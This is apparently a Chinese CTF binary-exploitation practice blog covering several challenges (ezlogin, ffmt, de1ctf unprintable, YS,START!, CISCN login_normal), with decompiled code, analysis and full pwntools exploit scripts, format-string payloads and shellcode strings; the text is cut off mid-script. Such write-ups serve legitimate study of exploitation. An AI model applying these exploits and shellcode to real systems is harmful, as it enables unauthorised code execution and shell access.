刷题记录2

[LitCTF 2023]ezlogin

首先是符号表的恢复,将随便一个libc.so的i64文件,拖到bindiff里,然后import即可恢复大部分的函数

静态分析

1
2
3
4
5
6
7
8
9
10
11
12
13
int __cdecl main(int argc, const char **argv, const char **envp)
{
const char **v3; // rdx
__int64 v5; // [rsp+0h] [rbp-108h] BYREF

setbuffer(off_6B97A8, 0LL);
setbuffer(off_6B97A0, 0LL);
setbuffer(off_6B9798, 0LL);
while ( !vlun(&v5, 0LL, v3) )
;
puts("GoodTime.");
return 0;
}
1
2
3
4
5
6
7
8
9
10
11
int __cdecl vlun(int v5, const char **argv, const char **envp)
{
char v4[536]; // [rsp+0h] [rbp-218h] BYREF

puts("Input your password:");
memset(v4, 0, 0x200uLL);
if ( read(0, v4, 0x200uLL) > 0x50u )
exit(-1);
j_strcpy(*&v5, v4); // v5=v4
return strcmp(v4, "PASSWORD") == 0; // 不成立
}

可以发现v5处有个栈溢出,可以实现ret2syscall

其中的限制read发现汇编

1
2
.text:0000000000400C07 3C 50                         cmp     al, 50h ; 'P'
.text:0000000000400C09 77 33 ja short loc_400C3E

主要是如果al>50h的话就会exit,而显然al只有一个字节8位,所以只要刚好当al=0的时候即他的低位<=50h即可(学到了,还可以这样搞

接下来就是要思考如何绕过strcpy的\x00截断了,因为我们的rop链显然会有大量的\x00

如何绕过呢?有一个思路就是先把已经构造好的rop链将\x00都替换成A传进去,然后再一字节一字节更改位\x00

1
2
3
4
5
6
7
8
9
def gadget(content):
content = content + b'\x00'
content = content[-1::-1]
for i in range(0, len(content)):
if content[i] == 0:
payload = content[i+1:][-1::-1].replace(b'\x00', b'A')
padding = b'A' * 0x108
log.success('Payload: ' + (str(payload)))
io.sendafter(b'password:', padding + payload)

这个脚本主要是绕过\x00截断的,然后他是先把payload的\x00都换成A,然后将payload倒置过来,之后找到第一个\x00将其之后的,即倒置过来看就是找到最后一个\x00将其的之前所有的\x00都替换为A然后输入,之后就是从\x00之前再寻找最后一个\x00一直重复找,就可以将所有的字节输入进去辣,(使我的大脑无限旋转

之后的rop链就很简单构造了。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
from pwn import *

io = process('./ezlogin')
# io = remote('node5.anna.nssctf.cn',29142)
elf = ELF('./ezlogin')
libc = ELF('/home/bamboo/glibc-all-in-one-master/libs/2.23-0ubuntu11.3_amd64/libc-2.23.so')
context(arch='amd64', os='linux', log_level='debug')

# Max Padding size : 0x100 - 0x150
# Define registers
rax = 0x4005AF
rdi = 0x400706
rsi = 0x410043
rdx = 0x448C95
syscall = 0x448D5F
bss = 0x6BB300
main = 0x4005C0

def debug():
gdb.attach(io)
pause()

# Create func use to replace '\x00'
def gadget(content):
content = content + b'\x00'
content = content[-1::-1]
for i in range(0, len(content)):
if content[i] == 0:
payload = content[i+1:][-1::-1].replace(b'\x00', b'A')
padding = b'A' * 0x108
log.success('Payload: ' + (str(payload)))
io.sendafter(b'password:', padding + payload)

# Stage one
# read(0, 0, bss)
# rax 系统调用号 0代表 read
# rdi 第一参数
# 0 fd
# rsi 第二参数
# bss /bin/sh 地址
# 此处无法填写rdx的寄存器与值,因为如果填写了会导致Payload溢出,a1寄存器为58,就会进入exit函数。
# 但是程序在此时的rdx值够存放很多数据,所以存放一个/bin/sh不是什么难事。
debug()
Payload = p64(rax) + p64(0) + p64(rdi) + p64(0) + p64(rsi) + p64(bss) + p64(syscall) + p64(main)
gadget(Payload)
Payload = b'PASSWORD\x00'
io.sendafter(b'password:', Payload)
io.send(b'/bin/sh\x00')

# Stage two
# execve('/bin/sh\x00', 0, 0)
# rax 系统调用号 59代表 execve
# rdi 第一参数
# bss /bin/sh 地址
# rsi 第二参数
# 0 NULL
# rdx 第三参数
# 0 NULL
Payload = p64(rax) + p64(59) + p64(rdi) + p64(bss) + p64(rsi) + p64(0) + p64(rdx) + p64(0) + p64(syscall)
gadget(Payload)
Payload = b'PASSWORD\x00'
io.sendafter(b'password:', Payload)
io.interactive()

[HZNUCTF 2023 preliminary]ffmt

image-20240512200725094

静态分析

1
2
3
4
5
6
7
8
9
10
11
12
13
int __cdecl main(int argc, const char **argv, const char **envp)
{
char buf[8]; // [rsp+8h] [rbp-8h] BYREF

init(argc, argv, envp);
puts("Welcome to HCNUCTF!");
puts("Your name: ");
read(0, buf, 8uLL);
printf(buf);
puts(", hell0, please say something about yourself~");
vuln();
return 0;
}

发现一个格式化字符串漏洞

1
2
3
4
5
6
7
int vuln()
{
char buf[32]; // [rsp+0h] [rbp-20h] BYREF

read(0, buf, 0x20uLL);
return printf(buf);
}

这里还有一个,程序中有个backdoor,因此想的是改尾巴一个字节到backdoor,因此就能想到第一个格式化字符串漏洞泄露栈地址,然后第二个直接改

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
from pwn import*
context.log_level='debug'

# libc=ELF('./libc-2.23.so')
path='./ffmt'
elf=ELF(path)

r =lambda num=4096 :p.recv(num)
ru =lambda content,drop=False :p.recvuntil(content,drop)
rl =lambda :p.recvline()
sla =lambda flag,content :p.sendlineafter(flag,content)
sa =lambda flag,content :p.sendafter(flag,content)
sl =lambda content :p.sendline(content)
s =lambda content :p.send(content)
irt =lambda :p.interactive()
tbs =lambda content :str(content).encode()
leak=lambda name,addr :info(f'{name}====>{hex(addr)}')

local=0

def run():
if local:
return process(path)
return remote('node5.anna.nssctf.cn',25151)

def debug(duan=0):
if local:
if duan:
gdb.attach(p,duan)
pause()
return
gdb.attach(p)
pause()
p=run()

sla(b'Your name: \n',b'%11$p')
# debug()
r(2)
ret_addr=int(r(12),16)-0x140+48
leak('ret_addr',ret_addr)

pal=b'%35c%8$hhnaaaaaa' + p64(ret_addr)
# debug()
sla(b'yourself~\n',pal)

irt()

很经典的格式化字符串漏洞

64位格式字符串漏洞的偏移到栈上是从rsp下面一个开始的

  • %hhn 写一字节
  • %hn 写两字节
  • %n 把已经成功输出的字符个数写入对应的整型指针参数所指的变量。将栈上的内容作为地址解析,然后改变这个地址上的内容,写四字节
  • %ln 32位写四字节,64位写八字节
  • %lln 写八字节

太久没做都着了道了

de1ctf_2019_unprintable

本题的环境是libc-2.23.so的,如果版本不一样会导致栈空间不一样不能getshell(一晚上(lll¬ω¬)得来的

image-20240512214109727

静态分析

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
int __cdecl __noreturn main(int argc, const char **argv, const char **envp)
{
char v3[8]; // [rsp+0h] [rbp-10h] BYREF
unsigned __int64 v4; // [rsp+8h] [rbp-8h]

v4 = __readfsqword(0x28u);
setbuf(stdin, 0LL);
setbuf(stdout, 0LL);
setbuf(stderr, 0LL);
puts("Welcome to Ch4r1l3's printf test");
printf("This is your gift: %p\n", v3);
close(1);
read(0, buf, 0x1000uLL);
printf(buf);
exit(0);
}

发现给了栈的地址,然后关闭了标准输出流,又有一个非栈上的格式化字符串漏洞(0x601060)(buff拉满了(bushi

这题考到一个小trick:

exit会调用dl_fini函数,我们看看dl_fini函数的源码

img

会发现执行的时候调用(l->l_addr+l->l_info[DY_FINI_ARRAY]->d_un.d_ptr),本来l->l_addr为0,而l->l_info[DT_FINI_ARRAY]->d_un.d_ptr指针指向程序中的fini_array段的地址,也就是l->l_info[DT_FINI_ARRAY]->d_un.d_ptr的值为0x0000000000600DD8

image-20240512224201859

这时就通过覆盖I->I_addr来劫持fini_array的地址

image-20240513202751753

执行exit中的调用函数(发现雀氏

发现栈上image-20240512224609287

有个I->I_addr的地址,就可以通过改这个地址上的值来偏移

其中可以通过看这个与众不同的颜色可以知道这是来自于ld.so文件里的,而这个地址为什么恰好出现在栈上可能是因为在exit函数中,会通过这个来调用dl_fini函数

image-20240512224709178

通过fmtarg查偏移(问就是懒(bushi

1
payload =tbs('%'+str(0x298)+'c'+'%26$hn').ljust(0x10,b'\x00')+p64(read_addr)

通过这个便可以二次利用read了

而第二次的printf得到的栈空间有着成堆的rop链,非常好的进行构造

image-20240513195457206

1和2指向的都是栈空间,能实现在栈空间的任意写,而2能实现printf_loop,或者rip的任意写

有了任意写之后就要用ROP来getshell了

(在此发现这题的exp有点复杂,因此只做思路上的利用,就不打了(等之后再次遇到相似的题目再进行利用≧ ﹏ ≦

image-20240513200455427

在libc_csu_init中可以控制rbx rbp r12 r13 r14 r15

然后有一个rop

1
.text:00000000004006E8                 adc     [rbp+48h], edx

它的作用是将exp+[rbp+48h]的值之后存储在rbp+48h中(最神奇的地方,第一次利用这种rop

而其中的edx和rbp都是可以控制的,所以我们就可以实现一次任意写。

可以看到程序空间里存在stderr,stdin,stdout,它们都指向libc,所以可以修改它们为one_gadget来getshell。

在关闭aslr的情况下stderr和one_gadget分别为:

1
2
stderr = 0x601040  #0x7ffff7dd2540
one= 0x7ffff7afe147#0x7ffff7a52216 0x7ffff7a5226a 0x7ffff7afd2a4 0x7ffff7afe147

计算偏移修改即可。

修改完之后再次利用ret2csu传stderr的地址给r12,**最后调用call qword ptr [r12+rbx*8]**拿到shell。

(非常好的思路让我大脑旋转

附上完整exp :(from)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
from pwn_debug import *

pdbg=pwn_debug("1")
pdbg.context.terminal=['tmux', 'splitw', '-h']
context.log_level='debug'
pdbg.local("")
pdbg.debug("2.23")
pdbg.remote('111.198.29.45',)

switch=1
if switch==1:
p=pdbg.run("local")
elif switch==2:
p=pdbg.run("debug")
elif switch==3:
p=pdbg.run("remote")
#-----------------------------------------------------------------------------------------
s = lambda data :p.send(str(data)) #in case that data is an int
sa = lambda delim,data :p.sendafter(str(delim), str(data))
sl = lambda data :p.sendline(str(data))
sla = lambda delim,data :p.sendlineafter(str(delim), str(data))
r = lambda numb=4096 :p.recv(numb)
ru = lambda delims, drop=True :p.recvuntil(delims, drop)
it = lambda :p.interactive()
uu32 = lambda data :u32(data.ljust(4, ''))
uu64 = lambda data :u64(data.ljust(8, ''))
bp = lambda bkp :pdbg.bp(bkp)
#elf=pdbg.elf
#libc=pdbg.libc
sh_x86_18="x6ax0bx58x53x68x2fx2fx73x68x68x2fx62x69x6ex89xe3xcdx80"
sh_x86_20="x31xc9x6ax0bx58x51x68x2fx2fx73x68x68x2fx62x69x6ex89xe3xcdx80"
sh_x64_21="xf7xe6x50x48xbfx2fx62x69x6ex2fx2fx73x68x57x48x89xe7xb0x3bx0fx05"
#https://www.exploit-db.com/shellcodes
#-----------------------------------------------------------------------------------------
def pwn():
pop_rsp=0x40082d

ru('This is your gift: ')
stack=int(ru('n'),16)
#if stack&0xffff>0x2000:
# p.close()
print hex(stack)
payload1='%'+str(0x298)+'c'+'%26$hn'
payload1=payload1.ljust(16,'x00')+p64(0x4007A3)

sleep(0.1)
sl(payload1)
bp([0x4007c1])

sleep(0.1)
payload2='%'+str(0xa3)+'c%23$hhn'
sl(payload2)
input()
sleep(0.1)
stack_tail=(stack-280)&0xff
payload3='%'+str(0x48)+'c%18$hhn'+'%'+str(0xa3-0x48)+'c%23$hhn'

sleep(0.1)
sl(payload3)
#get arbitray write
sleep(0.2)
payload4='%'+str(stack_tail)+'c%18$hhn'+'%'+str(0xa3-stack_tail)+'c%23$hhn'
sl(payload4)

sleep(0.1)
payload5='%13$n'+'%'+str(0xa3)+'c%23$hhn'
sl(payload5)

sleep(0.2)
payload4='%'+str(stack_tail+4)+'c%18$hhn'+'%'+str(0xa3-stack_tail-4)+'c%23$hhn'
sl(payload4)

sleep(0.1)
payload5='%13$n'+'%'+str(0xa3)+'c%23$hhn'
sl(payload5) #clear up the first arg

sleep(0.2)
payload4='%'+str(stack_tail+4)+'c%18$hhn'+'%'+str(0xa3-stack_tail-4)+'c%23$hhn'
sl(payload4)

sleep(0.1)
payload5='%13$n'+'%'+str(0xa3)+'c%23$hhn'
sl(payload5)#clear up the first arg



sleep(0.2) #fake_heap=0x6010a0
payload4='%'+str(stack_tail)+'c%18$hhn'+'%'+str(0xa3-stack_tail)+'c%23$hhn'
sl(payload4)

sleep(0.1)
payload5='%'+str(0xa3)+'c%23$hhn'+'%'+str(0x10a0-0xa3)+'c%13$hn'
sl(payload5)

sleep(0.2) #fake_heap=0x6010a0
payload4='%'+str(stack_tail+2)+'c%18$hhn'+'%'+str(0xa3-stack_tail-2)+'c%23$hhn'
sl(payload4)

sleep(0.1)
payload5='%'+str(0x60)+'c%13$hhn'+'%'+str(0xa3-0x60)+'c%23$hhn'
sl(payload5)

# merge heap and ROP
prbp = 0x400690 #pop rbp;ret;
prsp = 0x40082d #pop rsp r13 r14 r15 ;ret
adc = 0x4006E8
'''
adc DWORD PTR [rbp+0x48],edx
mov ebp,esp
call 0x400660 <deregister_tm_clones>
pop rbp
mov byte ptr [rip + 0x20094e], 1 <0x601048>
ret

mov eax,0x601017
push rbp
sub rax,0x601010
cmp rax,0xe
mov rbp,rsp
jbe 0x400690
pop rbp
ret
'''
arsp = 0x0400848 #add rsp,0x8;ret
prbx = 0x40082A #pop rbx rbp r12 r13 r14 r15;ret
call = 0x400810 #mov rdx,r13
#mov rsi,r14
#mov edi,r15d
#call QWORD PTR [r12+rbx*8]
stderr = 0x601040 #0x7ffff7dd2540
one= 0x7ffff7afe147#0x7ffff7a52216 0x7ffff7a5226a 0x7ffff7afd2a4 0x7ffff7afe147
rop=0x6010a0
payload6 = p64(arsp)*3
# rbx rbp r12 r13 r14 r15
payload6 += flat(prbx,0,stderr-0x48,rop,0xFFD2BC07,0, 0, call)
payload6 += flat(adc,0,prbx,0,0,stderr,0,0,0,0x400819)

sleep(1)
payload5='%'+str(0x82d)+'c%23$hn'
payload5=payload5.ljust(0x40,'x00')+payload6

#bp([0x4007c1])
sl(payload5)

it()


if __name__=='__main__':
while 1:
try:
pwn()
except:
p.close()
p=pdbg.run("local")

d3ctf_2019_unprintablev

image-20240513200949187

image-20240513201206567

禁掉了execve

实力不济(先鸽了

[第六届强网拟态线下赛]fmt

image-20240512212119545

1
2
3
4
5
6
7
8
9
10
11
12
int __cdecl __noreturn main(int argc, const char **argv, const char **envp)
{
__int64 savedregs; // [rsp+10h] [rbp+0h] BYREF

setbuf(stdin, 0LL);
setbuf(stdout, 0LL);
setbuf(stderr, 0LL);
printf("Gift: %x\n", (unsigned __int16)((unsigned __int16)&savedregs - 12));
read(0, buf, 0x100uLL);
printf(buf);
_exit(0);
}

一个栈的后四位地址,然后还有一个非栈上的格式化字符串漏洞(一头雾水

实力不济(先鸽了

[FSCTF 2023]YS,START!

image-20240513225857029

这题目比较阴间的地方就是不能反汇编,但是有点玄学,就是把ret undefine掉就可以反汇编了,不理解但是大为震撼

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
// positive sp value has been detected, the output may be wrong!
void __cdecl main()
{
int v0; // [esp-F6h] [ebp-144h]
int v1; // [esp-F2h] [ebp-140h]
int v2; // [esp-EEh] [ebp-13Ch]
int v3; // [esp-EAh] [ebp-138h]
int v4; // [esp-E6h] [ebp-134h]
int v5; // [esp-E2h] [ebp-130h]
int v6; // [esp-DEh] [ebp-12Ch]
int v7; // [esp-DAh] [ebp-128h]
int v8; // [esp-D6h] [ebp-124h]
int v9; // [esp-D2h] [ebp-120h]
int v10; // [esp-CEh] [ebp-11Ch]
int v11; // [esp-CAh] [ebp-118h]
int v12; // [esp-C6h] [ebp-114h]
int v13; // [esp-C2h] [ebp-110h]
int v14; // [esp-BEh] [ebp-10Ch]
int v15; // [esp-BAh] [ebp-108h]
int v16; // [esp-B6h] [ebp-104h]
int v17; // [esp-B2h] [ebp-100h]
int v18; // [esp-A6h] [ebp-F4h]
int v19; // [esp-A2h] [ebp-F0h]
int v20; // [esp-9Ah] [ebp-E8h]
int v21; // [esp-96h] [ebp-E4h]
int v22; // [esp-92h] [ebp-E0h]
_DWORD v23[35]; // [esp-8Eh] [ebp-DCh] BYREF
int v24; // [esp-2h] [ebp-50h] BYREF
unsigned int buf; // [esp+2h] [ebp-4Ch] BYREF
int v26; // [esp+6h] [ebp-48h] BYREF
int v27; // [esp+Ah] [ebp-44h] BYREF
int fd; // [esp+Eh] [ebp-40h]
char s2[16]; // [esp+12h] [ebp-3Ch] BYREF
char format[16]; // [esp+22h] [ebp-2Ch] BYREF
char s1[16]; // [esp+32h] [ebp-1Ch] BYREF
unsigned int v32; // [esp+42h] [ebp-Ch]

v32 = __readgsdword(0x14u);
dword_804C044 = 0;
fd = open("/dev/urandom", 0);
read(fd, &buf, 4u);
buf %= 0xF4240u;
puts("Ciallo~(∠・ω< )⌒☆, What is your name?");
__isoc99_scanf("%15s", format, v0, v1, v2, v3, v4, v5, v6, v7, v8, v9, v10, v11, v12, v13, v14, v15, v16, v17);
printf(format); // 格式化字符串漏洞
puts(",PLAY Genshin Impact?(y or n)");
read(0, (char *)&v24 + 3, 1u);
getchar();
if ( HIBYTE(v24) == 'n' )
{
puts("goodbye");
}
else
{
read(fd, &v26, 4u);
read(fd, s2, 0xFu);
puts("Please enter your account and password");
printf("Account:");
__isoc99_scanf(
"%d",
&v27,
v18,
v19,
v23,
v20,
v21,
v22,
v23[0],
v23[1],
v23[2],
v23[3],
v23[4],
v23[5],
v23[6],
v23[7],
v23[8],
v23[9],
v23[10],
v23[11]);
printf("Password:");
__isoc99_scanf(
"%15s",
s1,
v23[14],
v23[15],
v23[16],
v23[17],
v23[18],
v23[19],
v23[20],
v23[21],
v23[22],
v23[23],
v23[24],
v23[25],
v23[26],
v23[27],
v23[28],
v23[29],
v23[30],
v23[31]);
if ( v27 == v26 && !strcmp(s1, s2) ) // v26是随机数
dword_804C044 = 1;
if ( dword_804C044 ) // 直接改这个为1
{
puts("Login is risky. The verification code has been sent to 151xxxx1916");
puts("Please enter the verification code:");
((void (__stdcall *)(const char *, int *, _DWORD, int, unsigned int, int))__isoc99_scanf)(
"%d",
&v27,
v23[34],
v24,
buf,
v26);
if ( v27 == buf ) // buf是随机数
{
puts("Genshin Impact, start!");
system("/bin/sh"); // getshell
}
else
{
puts("verification code error");
}
}
else
{
puts("Account or password error");
}
}
if ( v32 != __readgsdword(0x14u) )
sub_80494D0();
JUMPOUT(0x80494C5); // ret
}

逆向并不难

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
from pwn import*
import binascii
context.log_level='debug'

elf=ELF('./start2')
p=process('./start2')
# p=remote('node4.anna.nssctf.cn',28161)
# def debug():
# gdb.attach(p)
# pause()

pal=p32(0x0804C044)+b'%15$hn'+b'%7$p'
# debug()
p.sendlineafter(b'What is your name?\n',pal)

data=p.recvuntil(b",P", drop=True)[-5:]
print(data)
p.sendafter(b'LAY Genshin Impact?(y or n)\n',b'y')
p.sendlineafter(b'Please enter your account and password\n',b'1\na')
p.sendlineafter(b'Please enter the verification code:\n',str(int(data,16)))
p.interactive()

这样就打通了。。//

如何解决ida7.7反编译不了

之后去问了菜哥,他的8.3ida是反编译得了的,然后提示信息是0x80493A9上栈帧出了问题,而我们undefine掉ret会发现scanf的参数十分的多,这就是问题所在了(以前一直以为是常态),因此到scanf点击y,将参数改成两个就可以成功反编译了image-20240514185748987

这样就可以成功了image-20240514185809655

可以看到成功的代码就是如此的赏心悦目

[CISCN 2022 初赛]login_normal

本题的漏洞点不难,只是逆向要花点时间

静态分析

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
void __fastcall __noreturn main(__int64 a1, char **a2, char **a3)
{
char s[1032]; // [rsp+0h] [rbp-410h] BYREF
unsigned __int64 v4; // [rsp+408h] [rbp-8h]

v4 = __readfsqword(0x28u);
init_0();
while ( 1 )
{
memset(s, 0, 0x400uLL);
printf(">>> ");
read(0, s, 0x3FFuLL);
sub_FFD(s);
}
}

首先是读点数据,然后传参

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
unsigned __int64 __fastcall sub_FFD(const char *ptr)
{
char *sa; // [rsp+8h] [rbp-48h]
char *sb; // [rsp+8h] [rbp-48h]
char *sc; // [rsp+8h] [rbp-48h]
char *sd; // [rsp+8h] [rbp-48h]
char v7; // [rsp+17h] [rbp-39h]
int v8; // [rsp+1Ch] [rbp-34h]
int v9; // [rsp+2Ch] [rbp-24h]
void *dest; // [rsp+30h] [rbp-20h]
char *ptr2; // [rsp+38h] [rbp-18h]
char *nptr; // [rsp+40h] [rbp-10h]
unsigned __int64 v13; // [rsp+48h] [rbp-8h]

v13 = __readfsqword(0x28u);
memset(qword_202040, 0, sizeof(qword_202040));
v8 = 0;
v7 = 0;
dest = 0LL;
while ( !*ptr || *ptr != '\n' && (*ptr != '\r' || ptr[1] != '\n') )
{
if ( v8 <= 5 )
qword_202040[2 * v8] = ptr;
sb = strchr(ptr, ':');
if ( !sb )
{
puts("error.");
exit(1);
}
*sb = 0;
for ( sc = sb + 1; *sc && (*sc == ' ' || *sc == '\r' || *sc == '\n' || *sc == '\t'); ++sc )// 找到:之后的数据
*sc = 0;
if ( !*sc )
{
puts("abort.");
exit(2);
}
if ( v8 <= 5 )
qword_202040[2 * v8 + 1] = sc;
sd = strchr(sc, '\n');
if ( !sd )
{
puts("error.");
exit(3);
}
*sd = 0;
ptr = sd + 1;
if ( *ptr == '\r' )
*ptr++ = 0;
ptr2 = (char *)qword_202040[2 * v8];
nptr = (char *)qword_202040[2 * v8 + 1];
if ( !strcasecmp(ptr2, "opt") )
{
if ( v7 )
{
puts("error.");
exit(5);
}
v7 = atoi(nptr);
}
else
{
if ( strcasecmp(ptr2, "msg") )
{
puts("error.");
exit(4);
}
if ( strlen(nptr) <= 1 )
{
puts("error.");
exit(5);
}
v9 = strlen(nptr) - 1;
if ( dest )
{
puts("error.");
exit(5);
}
dest = calloc(v9 + 8, 1uLL);
if ( v9 <= 0 )
{
puts("error.");
exit(5);
}
memcpy(dest, nptr, v9);
}
++v8;
}
*ptr = 0;
sa = (char *)(ptr + 1);
if ( *sa == 10 )
*sa = 0;
switch ( v7 )
{
case 2:
sub_DA8(dest);
break;
case 3:
sub_EFE(dest);
break;
case 1:
sub_CBD(dest);
break;
default:
puts("error.");
exit(6);
}
return __readfsqword(0x28u) ^ v13;
}

这一串代码看着让人怀疑人生,因此分段分析,主要分为3部分,1:初始化,2:判断字符串格式并将相应位置的值传进去,3:便是switch,功能函数

判断字符串格式

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
while ( !*ptr || *ptr != '\n' && (*ptr != '\r' || ptr[1] != '\n') )
{
if ( v8 <= 5 )
qword_202040[2 * v8] = ptr;
sb = strchr(ptr, ':');
if ( !sb )
{
puts("error.");
exit(1);
}
*sb = 0;
for ( sc = sb + 1; *sc && (*sc == ' ' || *sc == '\r' || *sc == '\n' || *sc == '\t'); ++sc )// 找到:之后的数据
*sc = 0;
if ( !*sc )
{
puts("abort.");
exit(2);
}
if ( v8 <= 5 )
qword_202040[2 * v8 + 1] = sc;
sd = strchr(sc, '\n');
if ( !sd )
{
puts("error.");
exit(3);
}
*sd = 0;
ptr = sd + 1;
if ( *ptr == '\r' )
*ptr++ = 0;
ptr2 = (char *)qword_202040[2 * v8];
nptr = (char *)qword_202040[2 * v8 + 1];
if ( !strcasecmp(ptr2, "opt") )
{
if ( v7 )
{
puts("error.");
exit(5);
}
v7 = atoi(nptr);
}
else
{
if ( strcasecmp(ptr2, "msg") )
{
puts("error.");
exit(4);
}
if ( strlen(nptr) <= 1 )
{
puts("error.");
exit(5);
}
v9 = strlen(nptr) - 1;
if ( dest )
{
puts("error.");
exit(5);
}
dest = calloc(v9 + 8, 1uLL);
if ( v9 <= 0 )
{
puts("error.");
exit(5);
}
memcpy(dest, nptr, v9);
}
++v8;
}

一个判断就占大部分的代码段,建议放在逆向里(bushi

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
if ( v8 <= 5 )    //判断次数即遍历次数
qword_202040[2 * v8] = ptr;
sb = strchr(ptr, ':');
if ( !sb )
{
puts("error.");
exit(1);
}
*sb = 0;
for ( sc = sb + 1; *sc && (*sc == ' ' || *sc == '\r' || *sc == '\n' || *sc == '\t'); ++sc )// 找到:之后的数据
*sc = 0;
if ( !*sc )
{
puts("abort.");
exit(2);
}
if ( v8 <= 5 )
qword_202040[2 * v8 + 1] = sc;
sd = strchr(sc, '\n');
if ( !sd )
{
puts("error.");
exit(3);
}
*sd = 0;
ptr = sd + 1;
if ( *ptr == '\r' )
*ptr++ = 0;
ptr2 = (char *)qword_202040[2 * v8];
nptr = (char *)qword_202040[2 * v8 + 1];

首先qword_202040数组的第一个参数是传进来的字符串的开头,然后sb便是字符串中的下一个字符,之后sc就是sb之后的正常的可读字符,然后qword_202040的第二个参数就是sc,即后的可读字符,然后再找到sc之后即:后面的一个\n,存进sd里

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
if ( !strcasecmp(ptr2, "opt") )
{
if ( v7 )
{
puts("error.");
exit(5);
}
v7 = atoi(nptr);
}
else
{
if ( strcasecmp(ptr2, "msg") )
{
puts("error.");
exit(4);
}
if ( strlen(nptr) <= 1 )
{
puts("error.");
exit(5);
}
v9 = strlen(nptr) - 1;
if ( dest )
{
puts("error.");
exit(5);
}
dest = calloc(v9 + 8, 1uLL);
if ( v9 <= 0 )
{
puts("error.");
exit(5);
}
memcpy(dest, nptr, v9);
}
++v8;

之后就是判断字符串的开头必须是msg或者opt然后跟上之后就是dest或v7的值

从而得知格式要求:

1
opt:v7\nmsg:dest\n  或者msg:dest\nopt:v7\n

漏洞点

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
unsigned __int64 __fastcall sub_DA8(const char *a1)
{
unsigned int v1; // eax
size_t v2; // rax
int i; // [rsp+14h] [rbp-2Ch]
void *dest; // [rsp+18h] [rbp-28h]
unsigned __int64 v6; // [rsp+28h] [rbp-18h]

v6 = __readfsqword(0x28u);
for ( i = 0; i < strlen(a1); ++i )
{
if ( !isprint(a1[i]) && a1[i] != '\n' )
{
puts("oh!");
exit(-1);
}
}
if ( unk_202028 != 1 )
{
puts("oh!");
exit(-1);
}
if ( unk_202024 )
{
v1 = getpagesize();
dest = (void *)(int)mmap((char *)&loc_FFE + 2, v1, 7, 34, 0, 0LL);
v2 = strlen(a1);
memcpy(dest, a1, v2);
((void (*)(void))dest)();
}
else
{
puts(a1);
}
return __readfsqword(0x28u) ^ v6;
}

要求是unk_202024这个上面的值要为真,进而会执行dest上的函数,之前的mmap是为了让执行段可执行,映射到内存里,不然一直都在栈上显然是不可以执行的

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
unsigned __int64 __fastcall sub_CBD(const char *a1)
{
int i; // [rsp+14h] [rbp-1Ch]
unsigned __int64 v3; // [rsp+18h] [rbp-18h]

v3 = __readfsqword(0x28u);
for ( i = 0; i < strlen(a1); ++i )
{
if ( !isprint(a1[i]) && a1[i] != 10 )
{
puts("oh!");
exit(-1);
}
}
if ( !strcmp(a1, "ro0t") )
{
unk_202028 = 1;
unk_202024 = 1;
}
else
{
unk_202028 = 1;
}
return __readfsqword(0x28u) ^ v3;
}

显然要先传进去ro0t但是它上面传输的字节其实是少传一个字节因此要多传一个无用字节

exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
from pwn import*
context.log_level='debug'

# libc=ELF('./libc-2.23.so')
path='./login2'
elf=ELF(path)

amd64shell=b"RRYh00AAX1A0hA004X1A4hA00AX1A8QX44Pj0X40PZPjAX4znoNDnRYZnCXAA"

r =lambda num=4096 :p.recv(num)
ru =lambda content,drop=False :p.recvuntil(content,drop)
rl =lambda :p.recvline()
sla =lambda flag,content :p.sendlineafter(flag,content)
sa =lambda flag,content :p.sendafter(flag,content)
